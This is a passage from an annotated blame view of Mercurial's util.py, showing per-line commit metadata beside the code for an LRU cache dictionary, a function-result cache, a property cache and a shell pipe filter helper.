util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
785 new head node. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
786 """ |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
787 def __init__(self, max): |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
788 self._cache = {} |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
789 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
790 self._head = head = _lrucachenode() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
791 head.prev = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
792 head.next = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
793 self._size = 1 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
794 self._capacity = max |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
795 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
796 def __len__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
797 return len(self._cache) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
798 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
799 def __contains__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
800 return k in self._cache |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
801 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
802 def __iter__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
803 # We don't have to iterate in cache order, but why not. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
804 n = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
805 for i in range(len(self._cache)): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
806 yield n.key |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
807 n = n.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
808 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
809 def __getitem__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
810 node = self._cache[k] |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
811 self._movetohead(node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
812 return node.value |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
813 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
814 def __setitem__(self, k, v): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
815 node = self._cache.get(k) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
816 # Replace existing value and mark as newest. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
817 if node is not None: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
818 node.value = v |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
819 self._movetohead(node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
820 return |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
821 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
822 if self._size < self._capacity: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
823 node = self._addcapacity() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
824 else: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
825 # Grab the last/oldest item. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
826 node = self._head.prev |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
827 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
828 # At capacity. Kill the old entry. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
829 if node.key is not _notset: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
830 del self._cache[node.key] |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
831 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
832 node.key = k |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
833 node.value = v |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
834 self._cache[k] = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
835 # And mark it as newest entry. No need to adjust order since it |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
836 # is already self._head.prev. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
837 self._head = node |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
838 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
839 def __delitem__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
840 node = self._cache.pop(k) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
841 node.markempty() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
842 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
843 # Temporarily mark as newest item before re-adjusting head to make |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
844 # this node the oldest item. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
845 self._movetohead(node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
846 self._head = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
847 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
848 # Additional dict methods. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
849 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
850 def get(self, k, default=None): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
851 try: |
29828
79add5a4e857
util: properly implement lrucachedict.get()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29776
diff
changeset
|
852 return self._cache[k].value |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
853 except KeyError: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
854 return default |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
855 |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
856 def clear(self): |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
857 n = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
858 while n.key is not _notset: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
859 n.markempty() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
860 n = n.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
861 |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
862 self._cache.clear() |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
863 |
27576
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
864 def copy(self): |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
865 result = lrucachedict(self._capacity) |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
866 n = self._head.prev |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
867 # Iterate in oldest-to-newest order, so the copy has the right ordering |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
868 for i in range(len(self._cache)): |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
869 result[n.key] = n.value |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
870 n = n.prev |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
871 return result |
6cd3044985c2
lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents:
27391
diff
changeset
|
872 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
873 def _movetohead(self, node): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
874 """Mark a node as the newest, making it the new head. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
875 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
876 When a node is accessed, it becomes the freshest entry in the LRU |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
877 list, which is denoted by self._head. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
878 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
879 Visually, let's make ``N`` the new head node (* denotes head): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
880 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
881 previous/oldest <-> head <-> next/next newest |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
882 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
883 ----<->--- A* ---<->----- |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
884 | | |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
885 E <-> D <-> N <-> C <-> B |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
886 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
887 To: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
888 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
889 ----<->--- N* ---<->----- |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
890 | | |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
891 E <-> D <-> C <-> B <-> A |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
892 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
893 This requires the following moves: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
894 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
895 C.next = D (node.prev.next = node.next) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
896 D.prev = C (node.next.prev = node.prev) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
897 E.next = N (head.prev.next = node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
898 N.prev = E (node.prev = head.prev) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
899 N.next = A (node.next = head) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
900 A.prev = N (head.prev = node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
901 """ |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
902 head = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
903 # C.next = D |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
904 node.prev.next = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
905 # D.prev = C |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
906 node.next.prev = node.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
907 # N.prev = E |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
908 node.prev = head.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
909 # N.next = A |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
910 # It is tempting to do just "head" here, however if node is |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
911 # adjacent to head, this will do bad things. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
912 node.next = head.prev.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
913 # E.next = N |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
914 node.next.prev = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
915 # A.prev = N |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
916 node.prev.next = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
917 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
918 self._head = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
919 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
920 def _addcapacity(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
921 """Add a node to the circular linked list. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
922 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
923 The new node is inserted before the head node. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
924 """ |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
925 head = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
926 node = _lrucachenode() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
927 head.prev.next = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
928 node.prev = head.prev |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
929 node.next = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
930 head.prev = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
931 self._size += 1 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
932 return node |
19710
887ffa22fd0d
lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents:
19461
diff
changeset
|
933 |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
934 def lrucachefunc(func): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
935 '''cache most recent results of function calls''' |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
936 cache = {} |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
937 order = collections.deque() |
28832
f5ff10f6fa6b
util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents:
28826
diff
changeset
|
938 if func.__code__.co_argcount == 1: |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
939 def f(arg): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
940 if arg not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
941 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
942 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
943 cache[arg] = func(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
944 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
945 order.remove(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
946 order.append(arg) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
947 return cache[arg] |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
948 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
949 def f(*args): |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
950 if args not in cache: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
951 if len(cache) > 20: |
16803
107a3270a24a
cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents:
16769
diff
changeset
|
952 del cache[order.popleft()] |
9097
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
953 cache[args] = func(*args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
954 else: |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
955 order.remove(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
956 order.append(args) |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
957 return cache[args] |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
958 |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
959 return f |
431462bd8478
fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents:
9089
diff
changeset
|
960 |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
961 class propertycache(object): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
962 def __init__(self, func): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
963 self.func = func |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
964 self.name = func.__name__ |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
965 def __get__(self, obj, type=None): |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
966 result = self.func(obj) |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
967 self.cachevalue(obj, result) |
8207
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
968 return result |
dd8d5be57d65
util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents:
8181
diff
changeset
|
969 |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
970 def cachevalue(self, obj, value): |
19951
d51c4d85ec23
spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents:
19852
diff
changeset
|
971 # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
19845
a1237a4b437d
repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
19461
diff
changeset
|
972 obj.__dict__[self.name] = value |
18013
98c867ac1330
clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents:
17962
diff
changeset
|
973 |
35014
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
974 def clearcachedproperty(obj, prop): |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
975 '''clear a cached property value, if one has been set''' |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
976 if prop in obj.__dict__: |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
977 del obj.__dict__[prop] |
be6aa0cff8ea
util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents:
34647
diff
changeset
|
978 |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
979 def pipefilter(s, cmd): |
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
980 '''filter string S through command CMD, returning its output''' |
8302
d2ad8c066676
util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents:
8299
diff
changeset
|
981 p = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
d2ad8c066676
util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents:
8299
diff
changeset
|
982 stdin=subprocess.PIPE, stdout=subprocess.PIPE) |
d2ad8c066676
util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents:
8299
diff
changeset
|
983 pout, perr = p.communicate(s) |
d2ad8c066676
util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents:
8299
diff
changeset
|
984 return pout |
419
28511fc21073
[PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff
changeset
|
985 |
1293
a6ffcebd3315
Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1292
diff
changeset
|
986 def tempfilter(s, cmd): |
a6ffcebd3315
